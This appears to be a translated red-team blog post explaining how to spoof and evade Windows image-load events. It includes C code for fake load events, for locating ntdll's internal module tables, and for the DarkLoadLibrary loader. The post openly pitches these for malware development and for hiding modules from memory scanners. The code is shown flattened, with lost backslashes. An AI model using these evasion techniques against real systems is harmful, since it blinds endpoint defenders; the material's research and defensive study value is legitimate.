随着安全团队的不断进步,攻击者完全控制其操作的每个部分,从基础架构到在终端上发生的个别操作,变得至关重要。尽管如此,映像加载事件一直是我尽量忽视的内容,尽管它们可以深入了解终端上的行动。这是因为它们发生在内核内部,所以低权限进程无法绕过这一点,对吗?
什么是映像加载事件?
在开始之前,了解映像加载事件的基本概念以及安全 如何监视这些事件是很重要的。每当操作系统加载系统驱动程序、可执行映像或动态链接库时,注册的映像加载回调函数就会被触发。只有通过内核驱动程序中的PsSetLoadImageNotifyRoutine例程,程序才能注册这些回调函数。以下是一个实现的示例:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
VOIDImageLoadCallbackRoutine( PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo){ DbgPrint( "[+] Loaded image: %wZn", FullImageName ); return;}NTSTATUSDriverEntry( PDRIVER_OBJECT InDriverObject, PUNICODE_STRING InRegistryPath){ UNREFERENCED_PARAMETER(InDriverObject); UNREFERENCED_PARAMETER(InRegistryPath); PsSetLoadImageNotifyRoutine(ImageLoadCallbackRoutine); return STATUS_SUCCESS;} |
在理想的情况下,在操作过程中具有高权限,只需加载一个驱动程序来钩取ImageLoadCallbackRoutine函数并过滤我们不希望报告的映像加载,这将是非常简单的。然而,这种情况在实际工作中很少见,特别是在初始访问阶段,因此我们必须找到一种在权限受限的情况下实现类似结果的方法。
触发回调
下一步可以做的是确定回调函数是由什么触发的。我首先编写了一个基本程序,调用了LoadLibrary函数,并创建了一个WinDBG事件,在加载TestDLL.dll模块时触发断点,并转储调用堆栈信息。
从调用堆栈中可以看出,回调函数是由NtMapViewOfSection函数内部触发的。调用堆栈还为我们提供了在加载模块时调用的一些内部函数的名称。在IDA中检查ntdll!LdrpMapDllNtFileName函数可以更清楚地了解底层发生的情况。
该函数首先打开一个对模块在磁盘上的句柄,该句柄用于解析传递给内核回调函数的FullImageName参数。
接下来,将调用NtCreateSection函数。作为参数,它使用先前创建的文件句柄以及SEC_IMAGE的分配属性。SEC_IMAGE是加载器使用的一种特殊属性,用于使映像在内存中可执行,以及其他一些功能。
然后,该节句柄将传递给LdrpMapDllWithSectionHandle函数,该函数将立即调用LdrpMinimalMapModule函数,并将节句柄的指针传递给它。LdrpMapDllWithSectionHandle函数负责执行重定位操作,并将模块添加到加载的模块必须存在的各种内部结构中。
在LdrpMinimalMapModule函数内部,我们可以看到对NtMapViewOfSection的系统调用。由于此调用由内核处理,因此在此点之后,我们无法对任何执行进行控制。
欺骗加载映像
根据上述分析,可以清楚地看出回调函数的触发实际上是在加载器设置模块的内存时产生的,并不是由于模块被链接到内部结构或被执行。对于我们来说,这是一个坏消息,因为模块的内存设置对于模块的执行至关重要,所以我们无法避免这种行为。也就是说,尽管我们可能无法绕过这个机制,但似乎可以通过滥用它来触发未被进程加载的模块的映像加载事件。
通过遵循Windows加载器相同的方法,实现这一点将相对容易实现。
- 打开一个模块的句柄
- 使用SEC_IMAGE创建一个节
- 通过映射节来触发回调
重要的是,您要模拟的模块在磁盘上存在并且是一个有效的PE文件。以下是可以模拟映像加载事件的代码:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
#include <stdio.h>#include <windows.h>#include <winternl.h>#define DLL_TO_FAKE_LOAD L"\??\C:\windows\system32\calc.exe"BOOL FakeImageLoad(){ HANDLE hFile; SIZE_T stSize = 0; NTSTATUS ntStatus = 0; UNICODE_STRING objectName; HANDLE SectionHandle = NULL; PVOID BaseAddress = NULL; IO_STATUS_BLOCK IoStatusBlock; OBJECT_ATTRIBUTES objectAttributes = { 0 }; RtlInitUnicodeString( &objectName, DLL_TO_FAKE_LOAD ); InitializeObjectAttributes( &objectAttributes, &objectName, OBJ_CASE_INSENSITIVE, NULL, NULL ); ntStatus = NtOpenFile( &hFile, 0x100021, &objectAttributes, &IoStatusBlock, 5, 0x60 ); ntStatus = NtCreateSection( &SectionHandle, 0xd, NULL, NULL, 0x10, SEC_IMAGE, hFile ); ntStatus = NtMapViewOfSection( SectionHandle, (HANDLE)0xFFFFFFFFFFFFFFFF, &BaseAddress, NULL, NULL, NULL, &stSize, 0x1, 0x800000, 0x80 ); NtClose(SectionHandle);}int main(){ for (INT i = 0; i < 10000; i++) { FakeImageLoad(); } return 0;} |
如下所示,当程序被执行时,它模拟了对模块C:WindowsSystem32calc.exe的10,000次映像加载事件,但实际上该模块从未被加载。
自定义映像加载器
我最初尝试通过一系列的钩子和补丁来修改Windows映像加载器,以使用虚拟内存而不是节映射,但经过很多挫折后,我意识到我只能硬着头皮自己编写一个类似于Windows映像加载器的复制品。
实际上,加载和执行模块在内存中是最简单的部分,真正的挑战出现在尝试将模块链接到GetProcAddress和GetModuleHandle所需的内部结构上。这比我预期的要困难得多,主要是因为几乎没有文档可供参考。
加载和执行模块
因此,尽管听起来很复杂,但可以轻松分解为7个步骤:
- 确保要加载的数据是一个有效的PE文件。
- 将PE文件的头和节复制到内存中,并设置正确的内存权限。
- 如果需要,对映像基址执行重定位。
- 解析导入表,包括解析和链接任何导入的函数或符号。
- 执行线程本地存储(TLS)回调(如果适用)。
- 注册异常处理程序,以处理模块执行过程中可能发生的任何异常。
- 调用DLL的入口点(DllMain函数)来初始化和启动模块。
我不会详细介绍,因为互联网上有很多关于这个过程的更多信息,但如果你感兴趣,你可以在这里找到我的实现。
链接到内部结构
在最初的时候,我以为只需将模块添加到PEB(InLoadOrderModuleList、InMemoryOrderModuleList和InInitializationOrderModuleList)中的3个列表中,然后设置一些其他的值,如模块名称和基地址。这在早期版本的Windows中可能是正确的做法,但在最新的Windows版本中,情况并不那么简单。
尽管在链接模块时涉及很多步骤,但以下步骤是最具挑战性的(主要是因为定位所需结构是一项麻烦的任务):
- 将模块的哈希添加到哈希表中。
- 将模块的基地址添加到基地址索引中。
下面的代码片段摘自LdrpMapDllWithSectionHandle。它首先检查模块是否被锁定,如果没有锁定,则使用LdrpInsertDataTableEntry将模块添加到哈希表,并使用LdrpInsertModuleToIndexLockHeld将其添加到基地址索引中。
在某个时刻,微软决定通过GetModuleHandle或GetProcAddress在加载的模块列表中搜索模块或其导出函数时,简单地遍历PEB中的加载模块列表,并将每个模块名称与所搜索的名称进行字符串比较,这种方法速度太慢。因此,他们决定使用哈希表来加速这种查找过程。
当将模块添加到哈希表时,它会使用x65599哈希函数进行哈希,这是RtlHashUnicodeString的默认函数。
LdrpHashUnicodeString是Windows加载器使用的哈希函数,下面是清理过的反编译代码。它以一个UNICODE_STRING的指针作为参数,并且如果哈希成功,将返回哈希值。
在查看LdrpInsertDataTableEntry的内部实现时,我们可以看到它使用LdrpHashUnicodeString对存储在pLdrEntry变量指向的模块的LDR_DATA_TABLE_ENTRY中的模块名称进行哈希。该哈希值然后与0x1F进行按位与操作,得到的结果作为哈希表的索引。代码的其余部分负责在该索引处插入链接。
在编写我们自己的实现时,我们面临的问题是,与Windows加载器不同,我们不知道LdrpHashTable变量的位置。因此,我们需要首先找到它。下面的函数可以实现这一目标。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
PLIST_ENTRY FindHashTable() { PLIST_ENTRY pList = NULL; PLIST_ENTRY pHead = NULL; PLIST_ENTRY pEntry = NULL; PLDR_DATA_TABLE_ENTRY2 pCurrentEntry = NULL; PPEB2 pPeb = (PPEB2)READ_MEMLOC(PEB_OFFSET); pHead = &pPeb->Ldr->InInitializationOrderModuleList; pEntry = pHead->Flink; do { pCurrentEntry = CONTAINING_RECORD( pEntry, LDR_DATA_TABLE_ENTRY2, InInitializationOrderLinks ); pEntry = pEntry->Flink; if (pCurrentEntry->HashLinks.Flink == &pCurrentEntry->HashLinks) { continue; } pList = pCurrentEntry->HashLinks.Flink; if (pList->Flink == &pCurrentEntry->HashLinks) { ULONG ulHash = LdrHashEntry( pCurrentEntry->BaseDllName, TRUE ); pList = (PLIST_ENTRY)( (SIZE_T)pCurrentEntry->HashLinks.Flink - ulHash * sizeof(LIST_ENTRY) ); break; } pList = NULL; } while (pHead != pEntry); return pList;} |
现在我们已经知道了哈希表的位置,接下来需要做的就是将模块的哈希插入其中。使用下面的InsertTailList函数可以很容易地完成添加哈希的操作。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
VOID InsertTailList( PLIST_ENTRY ListHead, PLIST_ENTRY Entry){ PLIST_ENTRY Blink; Blink = ListHead->Blink; Entry->Flink = ListHead; Entry->Blink = Blink; Blink->Flink = Entry; ListHead->Blink = Entry; return;} |
查看LdrpInsertModuleToIndexLockHeld函数,我们可以看到基址索引存储在LdrpModuleBaseAddressIndex变量中。在进行一些初始化和合法性检查后,使用RtlRbInsertNodeEx将模块的基址插入红黑树。
通过搜索已加载的ntdll.dll模块的.data节,可以找到LdrpModuleBaseAddressIndex树。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
|
PRTL_RB_TREE FindModuleBaseAddressIndex(){ SIZE_T stEnd = NULL; PRTL_BALANCED_NODE pNode = NULL; PRTL_RB_TREE pModBaseAddrIndex = NULL; PLDR_DATA_TABLE_ENTRY2 pLdrEntry = FindLdrTableEntry(L"ntdll.dll"); pNode = &pLdrEntry->BaseAddressIndexNode; do { pNode = (PRTL_BALANCED_NODE)(pNode->ParentValue & (~7)); } while (pNode->ParentValue & (~7)); if (!pNode->Red) { DWORD dwLen = NULL; SIZE_T stBegin = NULL; PIMAGE_NT_HEADERS pNtHeaders = RVA( PIMAGE_NT_HEADERS, pLdrEntry->DllBase, ((PIMAGE_DOS_HEADER)pLdrEntry->DllBase)->e_lfanew ); PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders); for (INT i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { if (!strcmp(".data", (LPCSTR)pSection->Name)) { stBegin = (SIZE_T)pLdrEntry->DllBase + pSection->VirtualAddress; dwLen = pSection->Misc.VirtualSize; break; } ++pSection; } for (DWORD i = 0; i < dwLen - sizeof(SIZE_T); ++stBegin, ++i) { SIZE_T stRet = RtlCompareMemory( (PVOID)stBegin, (PVOID)&pNode, sizeof(SIZE_T) ); if (stRet == sizeof(SIZE_T)) { stEnd = stBegin; break; } } if (stEnd == NULL) { return NULL; } PRTL_RB_TREE pTree = (PRTL_RB_TREE)stEnd; if (pTree && pTree->Root && pTree->Min) { pModBaseAddrIndex = pTree; } } return pModBaseAddrIndex;} |
引入DarkloadLibrary
实质上,DarkLoadLibrary是LoadLibrary的一种实现,它不会触发映像加载事件。它还具有许多额外功能,可以在恶意软件开发过程中简化工作。
下面是一个简单的概述:
在我个人的观点中,我认为在大多数情况下,DarkLoadLibrary可以用来替代反射型DLL的使用。以下是一个加载本地模块、然后使用GetProcAddress定位函数并调用的示例:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
#include <windows.h>#include <darkloadlibrary.h>typedef DWORD (WINAPI * _ThisIsAFunction) (LPCWSTR);VOID main(){ DARKMODULE DarkModule = DarkLoadLibrary( LOAD_LOCAL_FILE, L"TestDLL.dll", 0, NULL ); if (!DarkModule.bSuccess) { printf("Load Error: %Sn", DarkModule.ErrorMsg); return; } _ThisIsAFunction ThisIsAFunction = GetProcAddress( DarkModule.ModuleBase, "CallThisFunction" ); if (!ThisIsAFunction) { printf("Failed to locate functionn"); return; } ThisIsAFunction(L"this is working!!!"); return;} |
DarkLoadLibrary还具备使用LOAD_MEMORY标志从内存加载文件的能力。
由于将一个模块链接到PEB(进程环境块),而该模块要么没有在磁盘上备份,要么与磁盘上的模块完全不同,这对于大多数内存扫描器来说是一个相当明显的指标。因此,我还创建了ConcealLibrary函数。如果向该函数提供一个指向DARKMODULE结构的指针,它将从PEB中删除该模块的所有条目,从所有映射的节中移除执行权限,并对所有节和头部进行加密。这将使该模块在任何内存扫描器中隐藏起来。为了达到最优的操作安全性,您应始终将未使用的库保持在隐藏状态。可以使用ConcealLibrary的另一个调用来解除隐藏状态,使模块可以使用。
你可以从这里下载DarkLoadLibrary。
我想感谢Nick Landers(@monoxgas)在sRDI方面的出色工作,以及bb107在MemoryModulePP方面的工作。尽管我无法让它正常工作,但它包含了一些关于内部PEB结构的宝贵信息。因此,请务必查看这两个项目。
感谢你一直阅读到最后,如果你有任何问题,请随时联系我。
这篇博文由Dylan(@batsec)撰写。










